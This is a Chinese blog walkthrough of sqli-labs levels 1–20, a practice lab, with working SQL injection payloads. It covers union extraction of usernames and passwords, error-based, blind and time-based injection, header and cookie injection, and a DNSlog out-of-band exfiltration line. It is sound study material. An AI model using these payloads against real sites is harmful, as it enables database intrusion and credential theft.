sqli-labs通关手册(page-1 part)

sqli-labs通关手册(page-1 part)



基础知识

字符型注入和数字型注入

  • 当输入的参数为整形时,存在注入漏洞,则是数字型注入,而字符型注入的参数是字符串。所以后面直接加上逻辑语句是会执行的。

  • 数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。如果后面直接加上逻辑语句会被闭包在引号中,看作是字符串的一部分,不会执行该部分代码。

双查询注入

​ 首先理解一下子查询,就是在select之中还有一个select,例子:select concat(select database())这个句子会先从子查询开始,select database()这个语句就会把当前的数据库查出来,然后把结果传入到concat函数中,有concat函数对结果进行连接再次进行查询。

  • Rand()随机函数:返回大于0,小于1之间的数(不是整数)。

  • Floor()取整函数:返回小于等于你输入的数的整数。

  • Count()汇总函数:COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入)。COUNT(*) 函数返回表中的记录数。

  • Group by clause分组语句:用于结合合计函数,根据一个或多个列对结果集进行分组。最好看看实例,见该页面SQL GROUP BY 语句 (w3school.com.cn)

  1. SELECT floor(rand()*2);其结果只能是0和1

  2. SELECT CONCAT(select database(),FLOOR(RAND()*2));

    这里就是将database和随机生成的0和1结合,如我们现在是在security数据库下,那么结果只会返回security0和security1

  3. select concat(select database(),floor(rand()*2)) from users;

    这里是从数据库中的某表取数据,所以这里有多少个用户,就会有多少个类似security1或security0

  4. 如果是从information_schema.schemata表里,这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果

  5. 然后加上group by语句,也就是将结果聚合

    select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;得到结果,把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下两个结果了。

  6. 最后加上聚合函数,select count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a;这个时候就会报错


    ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’

形成原因

​ 在SQL语句中有count和group by,mysql同样会先创建一张临时表,有设置了unique约束的group_key和tally(计数器的意思)两个字段,如在上面的例子中,unique字段就是我们设置的a。

​ 创建好临时表后,MySQL开始逐行扫描information_schema.tables表,遇到第一个分组的列是由concat((select database()), floor(rand()*2))计算出的security0(有可能),便去临时表中的group_key查询是否有值为security0的一行,发现没有就在临时表中新增加了一行,但是我们后面的随机数有可能出现security1或者security0(在对半概率情况下只要表中列数够多总会出现)那么就会报错,因为设置了unique,是不可重复的。

--+

​ 在MySQL数据库中,单行注释有#--,但在实际操作中#号一般用%23来表示。而--则用--+来表示。因为在URL中,如果最后加上--,浏览器在发送请求的时候会把URL末尾的空格舍去,而+号在被url编码后就会变成空格。

数据库内容

  • information_schema,系统数据库,包含所有数据库的相关信息。

  • information_schema.schemata中的schema_name列,字段为所有数据库名称。

  • information_schema.tables中的table_name列对应数据库所有表名称,其中table_schema列是所有数据库名。

  • information_schema.columns中,column_name列对应所有列名,其中table_schema列也对应所有数据库名,table_name列也对应所有表名称。

database()函数

​ 返回默认或当前数据库的名称。. DATABASE ()函数返回的字符串或名称使用utf8字符集。. 如果没有默认数据库,则Database函数返回NULL。

order by语法


ORDER BY column1[ASC|DESC],column2[ASC|DESC],......

用于指定按表中的某个字段名进行排序。如果用数字的话,它的使用就是省略了字段名称直接使用num数字来代替相应位置的字段名称。常用于判断表中一共有几列数据。

group_concat()


group_concat([DISTINCT]要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])

​ 将group by 产生的同一个分组中的值连接起来,并返回一个字符串结果。

​ 例子:

​ 例:select name, group_concat (id) from student group by name;

​ 小明 | 1,5,6

​ 小丽 | 2,4

​ 小伟 | 3

​ 小红 | 7

union

union查询就是把2条或多条sql语句的查询结果,合并成一个结果集。其使用前提是结果集合中的列数是一致的。而且,如果结果集中取出的列名字不一样,任然能够继续使用union,而且最终列名以第一条 sql为准。

concat_ws


CONCAT_WS(separator,str1,str2,...)

​ 表示连接之用的分隔符,它是concat()的一种特殊形式。第一个参数是分隔的参数的其余部分。分隔符是要连接的串之间加入。分隔符可以是一个字符串,如可以是参数的其余部分。如果分割符是NULL,则结果为NULL。

回显点

​ 联合注入是需要显示结果的,这里就会用到一个叫回显点的东西。

​ 回显点就是SQL查询结果显示在页面上的位置,有回显点的SQL注入叫做回显点注入。

​ 在用order by知道了表的列数后,就可以通过联合查询返回需要会显的信息了。

​ 想要显示我们需要的信息,可以将当前的查询结果置空,即判断条件改为false。比如一共有3列,我们需要构造?id = -1 union select 1,2,3 from xxx where xxx,含义就是,数据库查询不到id=-1的数据,就不会有结果返回,也就不会有显示,但是后面的语句会查询出来,也就会出现在原先显示的位置,这样就把我们想要的数据查询出来了。

Less-1 GET-Error based -Single quotes -String(基于错误的GET单引号字符型注入)

  1. 根据题目提示用GET方法输入参数id,发现界面正常。

  1. 输入单引号试一下参数是否是闭包的。发现出错,而且有错误提示,说明数据库的错误提示没有关掉,而且是字符型注入。因为id加上了引号。

​ 由于我们初次做sql注入所以这里我们结合源代码看一下


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

​ 所以显然这里加引号后,加入的引号就和前面的引号闭合了,id='1''后面那个单引号由于找不到另一个单引号作闭合那么这条sql语句就会报错了。所以从这里我们可知类型为单引号字符型。

  1. 知道其类型就可以开始构造语句了。使用“order by”查列数,,....。此处以数字1,2,3...指定以某一列为key进行排序,通过尝试得出列数。


http://192.168.235.130/sqli/less-1/?id=1' order by 1(2,3,4) --+//单引号和后面的语句都被注释了

输入1,2,3均正常,但是输入4就出现错误了。且出现错误提示。

提示没有第四列。

  1. 找回显位,由上面判断出共有三列,那么我们就看看信息具体显示在哪。使用union select 1,2,3来判断前一个表结构数量。


http://192.168.235.130/sqli/less-1/?id=-1' union select 1,2,3 --+

​ 显然,2,3列就是信息显示的地方。

​ 那么我结合源代码来看一下回显的原理。


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";  
}

​ 源代码会将接收到的参数在数据库中查询,如果找得到结果的话,结果就会显示出来Your Login name:x Your Password:x,如下图

​ 这是数据库中找得到的,但是,如果数据库中找不到相应的id值,就啥也不显示,如下图。其实就是源代码中的else情况,只是else情况是报错,但是找不到是不会报错的。

​ 那么利用这一点就可以用union了,union后,$sql就有值了,union就可以将后面那个查找的结果集显示出来

  1. 这样我们想要在数据库中查找显示出来的信息就都可以了。想要下面进行联合注入。注:union查询中要求的前后两个语句所产生的表结构相同。

    联合查询数据库名


http://192.168.235.130/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

​ 联合查询表名


http://192.168.235.130/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

​ 查到有表users,猜测里面可能有用户信息。

​ 联合查询表中的列名


http://192.168.235.130/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='users' --+

​ 找到关键字username和password

​ 继续联合查找,找到所有用户名和密码并用符号“~”分割开来。


http://192.168.235.130/sqli/Less-1/?id=-1' union select 1,group_concat(concat('~~',username,password)),3 from users --+

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

  1. 加单引号查看闭合方式判断是字符型注入还是数字型注入,也就是输入的id不用''闭包了


    http://192.168.235.130/sqli/Less-2/?id=1'

    单引号与后面的字段没有闭合,说明是数字型注入

  2. 所以这里我们就不需要在id+单引号了。其余语句跟上面一毛一样,只是不要单引号。

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

  1. 仍然使用单引号检查闭包方式。

​ 发现输入的参数id除了用单引号闭合之外 ,猜测这里id前面还有个还有个引号,那么我们在后面得让这个括号闭合。

所以我们构造这样的语句,id后先后加入)对前面的语句进行闭包


http://192.168.235.130/sqli/Less-3/?id=-1') union select 1,2,3 --+

​ 其他语句与less1是类似的

Less-4 GET - Error based - Double Quotes -String(基于错误的GET双引号字符型注入)

  1. 加单引号看看情况,发现不报错

  2. 猜测有可能是双引号闭合,所以后面加入双引号,

    加双引号不报错,直接蚌埠住了,而且源代码也确实显示是双引号


    $id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

Less-5 GET-Double Injection - Single Quotes - String(双注入GET单引号字符型注入)

  1. 随便选个id,页面如下,而且是没有显回的。也就是返回的数据库信息都被隐匿了。

  1. 加单引号

​ 出现错误,得知是单引号型闭合。也就是字符型。

  1. 查回显点,跟上面是一样,就不重复叙述了。

  2. 构造基于双注入查询注入报错语句。查所有数据库数据库,其核心还是子查询语句中的select group_concat(schema_name) from information_schema.schemata,外包了一层双查询注入。


http://192.168.235.130/sqli/Less-5/?id=1' union select 1,count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor(rand()*2)) as a from information_schema.schemata group by a --+

​ 结果如下,有可能执行一次出不来,因为这是有一定概率的事情,如果表中的项数少了就会这样。

  1. 其他语句也是这样,一步一步查就可以了,在这个外包的语句下加上我们想要查询的各种数据X就可以了



http://192.168.235.130/sqli/Less-5/?id=1' union select 1,count(*),concat((X),floor(rand()*2)) as a from information_schema.schemata group by a --+

 


http://192.168.235.130/sqli/Less-5/?id=1' union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.schemata group by a --+

​ 后略

Less-6 GET-Double Injection - Double Quotes - String(双注入GET双引号字符型注入)

  1. 双引号符不报错,再次蚌埠。

Less-7 GET-Dump into outfile - String (导出文件GET字符型注入)

  1. 猜测其闭合结构

    get方法输入id=1,未显示结果,但是提示使用输出文件。

    使用?id=1',提示有错,但未显示是什么错。

    注释后面的语句,?id=1' --+还是有错,加双引号,括号闭包都有错,最后加上双括号才没错?id=1' )) --+

  2. 提示要用到文件输出,猜测可能有文件写入的权限。直接构造语句测试一下。而这个文件首先得放在除本主机外能访问的目录下,如www目录下,


http://192.168.235.130/sqli/Less-7/?id=1' )) union select 1,2,3 into outfile "./test.php" --+
C:\phpstudy_pro\WWW\sqli\Less-7

​ 没权限上传不了,寄。

Less-8 GET-Blind - Boolian based Based -Single Quotes(布尔型单引号GET盲注)

  1. 加单引号,出错,但是不会显示(与正常显示页面不同),所以是盲注。

2.闭合一下,注释后面的句子页面显示正常。

  1. 开始构造盲注语句,猜数据库库名长度


http://192.168.235.130/sqli/Less-8/?id=1' and (length(database()))<10 --+

​ 回显正常,说明长度确实小于10


http://192.168.235.130/sqli/Less-8/?id=1' and (length(database()))<6 --+

​ 回显不正常,说明长度大于5

​ .....


http://192.168.235.130/sqli/Less-8/?id=1' and (length(database()))=8 --+

​ 回显正常,说明长度等于8

  1. 盲注猜测数据库名,下面用burp suite进行这个过程。

  • 打开浏览器代理,设置burp suite为监听端口模式。构造如下语句后发送,burp suite截获到该请求。


http://192.168.235.130/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+

  • 发送到intruder模块,设置这两个地方为payload,并且模式设置为cluster bomb模式,因为两个有效负载的位置的字典需要设置为不同的。

  • 设置payload规则,并设置相应字典,第一个位置payload字典就是上面查出来的长度即1-8,每个数字分别对应该数据库名称的相应位置。

    payload set为1,表示第一个位置的payload,payload type选择simple list即可,不需要太复杂。

  • 第二个payload位置需要设置的字典稍微复杂一点,需要设置26个字母大小写和数字的ASCII码共62个。

    这里我们可以先生成一个ascii文件以便重复使用

    在payload set为2的页面,仍只需要simple list模式,payload options中点左侧load按钮,加载我们刚刚的ascii码文件即可。

    可以看到,payload set那里会生成多少个request包也显示出来了。好,现在就可以点攻击按钮了

  • 结果页面

​ 但是通过前面的观察,我们发现页面正常时会返回you are in字样,因此我们可以把结果过滤一下,查找有相应字样的response,点上方击filter

​ 设置过滤规则。

​ 得到结果

​ ASCII转码过来就是:s(115)e(101)c(99)u(117)r(114)i(105)t(116)y(121),security,得到结果

  1. 盲注猜表名

    后续过程照着3的步骤用burp suite进行,就不再复述了,但注意查询语句可以结合着less1来进行。

  2. 盲注猜列名

  3. 盲注猜内容

Less-9 GET-Blind-Time based - double quotes(基于时间的GET型单引号盲注)

  1. 使用id=-1不加引号,加单引号,加双引号,页面都是一摸一样,那么就猜测,无论输入错误与否,页面都会返回true,也就是页面不会改变,也就无法从其特征值来观察select语句的正确性。

​ 来,看一下源码是怎么回事。


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
  echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}

​ 可以很明显地看到啊,无论怎么输入,都会显示You are in......,报错的两行也都被注释掉了。

  1. 那么这个时候,就需要用到基于时间的盲注了。首先判断是字符型还是数字型注入,单引号还是双引号。


http://192.168.235.130/sqli/Less-9/?id=1 and sleep(15) --+

​ 可以看到是秒进。


http://192.168.235.130/sqli/Less-9/?id=1' and sleep(15) --+

​ 可以看到页面确实等待了15秒往上,说明是单引号注入。去掉了了id后面的单引号,你会发现是秒加载的,因为sql语句有错嘛,就不会执行sleep语句了。当然不一定都需要查看网络中的具体秒数,因为这是能直接感知的,这里我只是为了直观一点而已。

  1. 开始构造盲注语句,猜数据库库名长度


http://192.168.235.130/sqli/Less-9/?id=1' and if((length(database()))<10,sleep(15),1) --+

​ 这句话的执行逻辑是长度小于10,所以执行sleep(15)这一语句。所以database()的长度是小于10的。

  1. 得到长度后其余过程与上面就类似的,只是多了if语句和sleep语句,判断的方法变得不一样了而已。但是注意一下,在burp suite中的判断方法也有点不一样了。就是如何判断response的先后顺序的问题

    构造如下语句,发送到intruder


http://192.168.235.130/sqli/Less-9/?id=1' and if(ascii(substr(database(),n,1))=n,sleep(15),1) --+

​ 得到结果时,记得将Response completed这一列给点出来,然后按时间倒叙

​ 得到如下结果,前面八个就是我们想要的字符串组合

​ 后面的我就不写了

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

​ 题如其名,除了是双引号,其他的跟less-9是一样的,我就不重复叙述了。

Less-11 POST - Error Based - Single quotes - String(基于错误的POST型单引号字符注入)

  1. 先抓个包,看看post提交的什么字段,发现会提交两个字段分别是uname和passwd

  1. 查询是字符注入还是整数型注入,是字符型的话是单引号还是双引号。


uname=1 and 1=2 --&passwd=&submit=Submit

​ 不报错,所以是字符型注入。查单或双,顺便查查列数


uname=1' order by 3 --&passwd=&submit=Submit

​ 没有第三列,那多半是两列了

uname=1' order by 3 --&passwd=&submit=Submit

  1. 查回显位

uname=1' union select 1,2 -- &passwd=&submit=Submit

​ 两个位置都会回显

  1. 查数据库名称

uname=1' union select database(),2 -- &passwd=&submit=Submit

​ 那后面的步骤跟前面就无差别了Less-01

Less-12 POST - Error Based - Single quotes - String(基于错误的POST型双引号字符注入)

​ 除了是双引号外跟less11无异

Less-13 POST - Double Injection - Single quotes - String - twist(POST单引号变形双注入)

  1. 查数字型或字符型,单引号或双引号,根据错误提示,发现是单引号+括号。

  2. 确定列数

  3. 查回显点

uname=1') union select 1,2 -- &passwd=&submit=Submit

​ 发现是没有回显的,因为有数据库错误提示,所以可根据错误提示来构造双注入语句

3.构造双注入语句查当前数据库

uname=1') union select count(*),concat((select databse()),floor(rand()*2)) as a from information_schema.columns group by a -- &passwd=&submit=Submit

  1. 后面的步骤就跟Less-5一样了,就不再赘诉了

Less-14 POST - Double Injection - Double quotes - Sting - twist(POST双引号变形双注入)

​ 除了是双引号外,与less-13无异

Less-15 POST - Blind - Boolian/Time Based - Single quotes(基于bool型/时间延迟单引号POST型盲注)

  1. 查数字型还是字符型,是字符型的话是单引号还是双引号或其他形式

    uname=1'--&passwd=&submit=Submit

    但是发现我们怎么折腾,都不会报错啊,所以得采用盲注了,但是盲注有点啰嗦,这里我们采另一种方法,DNSLOG显回注入

  2. 构造DNSlog显回注入,用的是DNSlog platform

and load_file(concat('\\\\',(select database()),'.k1s3rk.dnslog.cn\\1.txt')

​ 但是我这个又有点问题,显示端没有反应,测试了一下,应该是load_file()函数又有点问题,调用了却不执行。

  1. 那么又要回头用老办法盲注了。因为在这个页面中我并不知道有提交字段是否有true或false的差别。所以这里我们用POST语句测试一下

uname=1' union select 1,2 -- &passwd=&submit=Submit

​ 猜测其sql语句是一列用户名一列密码,所以这里我们用联合查询用永真数值替代原本的查询结果,使结果字符串存在不为NULL

​ 其结果会显示登录成功,那么这个时候的盲注就可以以基于bool的盲注或是基于时间延迟的盲注就都可以选择。

  1. 基于bool的盲注

    构造盲注语句,但是我思考了很久都想不出基于bool的盲注怎样构造。因为如果用union select的话一定会得到正值。

uname=1' union select 1,2 and (length(database()))<10 -- &passwd=&submit=Submit

  1. 基于时间的盲注

    构造时间延迟盲注语句。

uname=1' union select 1,if((length(database()))<10,sleep(15),1) -- &passwd=&submit=Submit

​ 页面延迟,构造成功,后面的语句替换if中的判断语句即可。后面的我就不再写了。

Less-16 POST - Blind - Boolian/Time Based - Double quotes(基于bool型/时间延迟的双引号POST型盲注)

​ 单引号换双引号。

Less-17 POST - Update Query - Error Based - String(基于错误的更新查询POST注入)

  1. 首先用burp suite截包,看看提交的字段内容名

黑盒注入

  1. 找注入点,先测试用户名部分

a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

​ 发现以上构造都不行。

​ 再对密码部分进行测试。

uname=a&passwd=a')#&submit=Submit
uname=a&passwd=a'))#&submit=Submit
uname=a&passwd=a"#&submit=Submit
uname=a&passwd=a")#&submit=Submit
uname=a&passwd=a"))#&submit=Submit

​ 发现还是不行。

​ 那么这个时候我们思考一下,在以上对密码部分的测试中 输入的用户名都是不存在的,那么我们输入一个实际存在的用户名测试一下效果。

​ 显示修改密码成功,但是报错了,从该报错可以知道,第一是本题中是有错误显示的,第二是在passwd处存在单引号注入点。

​ 其实我们可以根据这个来猜测其源码,有可能是两个查询语句,第一个查询根据uname判断,判断该用户是否存在,第二个查询则是用户,修改密码。

​ 那么有了这个注入点就可以干很多事情了,比如updatexml()报错注入和双查询注入等基于错误的报错。

  1. 构造updatexml()报错注入语句

uname=admin&passwd=1' and updatexml(1,concat('~',(select database()),'~'),1) -- &submit=Submit

​ 后续语句替换select部分即可

白盒注入

​ 我们看一下源代码

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}
	

$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)
	{
  		echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";
		if (mysql_error())
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			print_r(mysql_error());
			echo "</br></br>";
			echo "</font>";
		}
		else
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			//echo " You password has been successfully updated " ;		
			echo "<br>";
			echo "</font>";
		}
	
		echo '<img src="../images/flag1.jpg"   />';	
		echo 'Your Password:' .$row['password'];
  		echo "</font>";
  	}
	else  
	{
		echo '<font size="4.5" color="#FFFF00">';
		//echo "Bug off you Silly Dumb hacker";
		echo "</br>";
		echo '<img src="../images/slap1.jpg"   />';
	
		echo "</font>";  
	}




​ 由上述源代码我们可以看到,在接收数据阶段,会对用户输入uname用一个check_input阶段,在该函数中

  • substr取前十五个字符

  • mysql_real_escape_string()函数对特殊字符转义。

    但是没有对passwd的检查

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";在此句中,uname是必须正确且存在的,而且uname是经过检查的,所以我们可以利用的就是这一句,$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

​ 后续注入使用上面的语句即可

Less -18 POST -Header Injection - Agents filed - Error based(基于错误的用户代理,头部POST注入)

​ 这道题我们就直接白盒了,不搞黑盒了。在本题中,uname和passwd都经过了check_input()函数过滤,所以直接对两者进行注入是行不通了。

​ 但是我们发现了宁一个函数

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

​ 而urgent又是对头部中user_urgent的引用

$uagent = $_SERVER['HTTP_USER_AGENT'];

​ 所以这就是注入点。在hackbar或者burp suite加入此注入语句都是可以的。

​ 注入语句,extractvalue()报错

1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#

​ 但是我的靶机好像又有点问题,没有成功

Less - 19 POST - Header Injection - Referer field -Error based(基于头部的Referer POST报错注入)

​ 注入点为post提交的referer字段,步骤跟less18一致。

Less - 20 POST - Cookie injection - Uagent field - Error based(基于错误的cookie头部POST注入)

白盒注入

​ 关键语句

if(!isset($_POST['submit']))
{
...
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
...
}

​ 当未使用submit提交报文时,服务器端从cookie字段获取值然后进行查询,而且这个查询是未经检查的,那么这样,我们就找到了我们的注入点,在cookie的uname字段提交我们的注入语句

uname=admin' and extractvalue(1,concat('~',(select database()),'~')) --+

​ 得到结果

​ 剩余注入语句在改格式下中修改即可



posted @ 2022-02-02 22:35  三木森林  阅读(213)  评论(0编辑  收藏  举报